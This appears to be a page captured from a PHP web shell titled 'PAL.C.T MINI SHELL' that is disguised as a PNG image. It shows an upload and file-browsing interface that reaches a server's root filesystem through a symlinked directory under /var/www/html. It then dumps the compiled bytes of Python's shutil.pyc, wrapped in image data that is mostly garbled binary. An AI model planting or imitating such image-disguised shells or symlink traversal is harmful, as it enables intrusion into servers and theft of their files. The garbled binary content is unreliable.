php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/lib/python2.6/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/lib/python2.6/shutil.pyc

Lc@s8dZddkZddkZddkZddklZddkZddkZdddddd	d
ddd
g
Zd
e	fdYZ
yeWnej
o
dZnXddZdZdZdZdZdZdZdZeddZeddZdZdZdZdS(sUtility functions for copying files and directory trees.

XXX The functions here don't copy the resource fork or other metadata on Mac.

iN(tabspathtcopyfileobjtcopyfiletcopymodetcopystattcopytcopy2tcopytreetmovetrmtreetErrorcBseZRS((t__name__t
__module__(((s/usr/lib/python2.6/shutil.pyR
siicCs2x+|i|}|pPn|i|qdS(s=copy data from file-like object fsrc to file-like object fdstN(treadtwrite(tfsrctfdsttlengthtbuf((s/usr/lib/python2.6/shutil.pyRs
cCsttido2ytii||SWqEtj
otSXntiitii|tiitii|jS(Ntsamefile(thasattrtostpathRtOSErrortFalsetnormcaseR(tsrctdst((s/usr/lib/python2.6/shutil.pyt	_samefile!s
cCst||otd||fnt|dii}zF|~}t|dii}z|~}t||WdQXWdQXdS(sCopy data from src to dsts`%s` and `%s` are the same filetrbtwbN(RR
topent__exit__t	__enter__R(RRt_[1]Rt_[2]R((s/usr/lib/python2.6/shutil.pyR-s
&&cCsIttdo5ti|}ti|i}ti||ndS(sCopy mode bits from src to dsttchmodN(RRtstattS_IMODEtst_modeR$(RRtsttmode((s/usr/lib/python2.6/shutil.pyR6scCsti|}ti|i}ttdo ti||i|ifnttdoti||nttdont|do^yti	||i
Wqtj
o4}ttdp|iti
joqqXndS(sCCopy all stat info (mode bits, atime, mtime, flags) from src to dsttutimeR$tchflagstst_flagst
EOPNOTSUPPN(RR%R&R'RR*tst_atimetst_mtimeR$R+R,RterrnoR-(RRR(R)twhy((s/usr/lib/python2.6/shutil.pyR=s  $cCsVtii|o%tii|tii|}nt||t||dS(sVCopy data and mode bits ("cp src dst").

    The destination may be a directory.

    N(RRtisdirtjointbasenameRR(RR((s/usr/lib/python2.6/shutil.pyRLs%
cCsVtii|o%tii|tii|}nt||t||dS(s]Copy data and all stat info ("cp -p src dst").

    The destination may be a directory.

    N(RRR2R3R4RR(RR((s/usr/lib/python2.6/shutil.pyRWs%
csfd}|S(sFunction that can be used as copytree() ignore parameter.

    Patterns is a sequence of glob-style patterns
    that are used to exclude filescs:g}x'D]}|iti||q
Wt|S(N(textendtfnmatchtfiltertset(Rtnamest
ignored_namestpattern(tpatterns(s/usr/lib/python2.6/shutil.pyt_ignore_patternsgs
((R<R=((R<s/usr/lib/python2.6/shutil.pytignore_patternsbsc
	Csti|}|dj	o|||}n
t}ti|g}x)|D]!}||joqRntii||}tii||}	yx|o6tii|o#ti|}
ti	|
|	n8tii
|ot||	||nt||	WqRt
tifj
o%}|i||	t|fqRtj
o}|i|idqRXqRWyt||WnRtj
oF}tdj	ot|toq|i||t|fnX|o
t|ndS(sRecursively copy a directory tree using copy2().

    The destination directory must not already exist.
    If exception(s) occur, an Error is raised with a list of reasons.

    If the optional symlinks flag is true, symbolic links in the
    source tree result in symbolic links in the destination tree; if
    it is false, the contents of the files pointed to by symbolic
    links are copied.

    The optional ignore argument is a callable. If given, it
    is called with the `src` parameter, which is the directory
    being visited by copytree(), and `names` which is the list of
    `src` contents, as returned by os.listdir():

        callable(src, names) -> ignored_names

    Since copytree() is called recursively, the callable will be
    called once for each directory that is copied. It returns a
    list of names relative to the `src` directory that should
    not be copied.

    XXX Consider this example code rather than the ultimate tool.

    iN(RtlistdirtNoneR8tmakedirsRR3tislinktreadlinktsymlinkR2RRtIOErrorterrortappendtstrR
R5targsRRtWindowsErrort
isinstance(
RRtsymlinkstignoreR9R:terrorstnametsrcnametdstnametlinktoR1terr((s/usr/lib/python2.6/shutil.pyRns>
	

 !cCs|o
d}n|djo
d}ny'tii|otdnWn0tj
o$|tii|tidSXg}yti|}Wn1tij
o"}|ti|tinXx|D]}tii	||}yti
|i}Wntij
o
d}nXti
|ot|||qyti|Wqtij
o"}|ti|tiqXqWyti|Wn/tij
o |ti|tinXdS(sRecursively delete a directory tree.

    If ignore_errors is set, errors are ignored; otherwise, if onerror
    is set, it is called to handle the error with arguments (func,
    path, exc_info) where func is os.listdir, os.remove, or os.rmdir;
    path is the argument to that function that caused it to fail; and
    exc_info is a tuple returned by sys.exc_info().  If ignore_errors
    is false and onerror is None, an exception is raised.

    cWsdS(N((RI((s/usr/lib/python2.6/shutil.pytonerrorscWsdS(N((RI((s/usr/lib/python2.6/shutil.pyRTss%Cannot call rmtree on a symbolic linkNi(R@RRRBRtsystexc_infoR?RFR3tlstatR'R%tS_ISDIRR	tremovetrmdir(Rt
ignore_errorsRTR9RSROtfullnameR)((s/usr/lib/python2.6/shutil.pyR	s@


"cCstii|itiiS(N(RRR4trstriptsep(R((s/usr/lib/python2.6/shutil.pyt	_basenamescCs|}tii|oCtii|t|}tii|otd|q\nyti||Wntj
o|tii|oHt	||otd||fnt
||dtt|qt
||ti|nXdS(sRecursively move a file or directory to another location. This is
    similar to the Unix "mv" command.

    If the destination is a directory or a symlink to a directory, the source
    is moved inside the directory. The destination path must not already
    exist.

    If the destination already exists but is not a directory, it may be
    overwritten depending on os.rename() semantics.

    If the destination is on our current filesystem, then rename() is used.
    Otherwise, src is copied to the destination and then removed.
    A lot more could be done here...  A look at a mv.c shows a lot of
    the issues this implementation glosses over.

    s$Destination path '%s' already existss.Cannot move a directory '%s' into itself '%s'.RLN(RRR2R3R_texistsR
trenameRt	destinsrcRtTrueR	Rtunlink(RRtreal_dst((s/usr/lib/python2.6/shutil.pyRs
cCsyt|}t|}|itiip|tii7}n|itiip|tii7}n|i|S(N(RtendswithRRR^t
startswith(RR((s/usr/lib/python2.6/shutil.pyRbsi@(t__doc__RRUR%tos.pathRR6R0t__all__tEnvironmentErrorR
RJt	NameErrorR@RRRRRRRR>RRR	R_RRb(((s/usr/lib/python2.6/shutil.pyt<module>s4								A1		"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`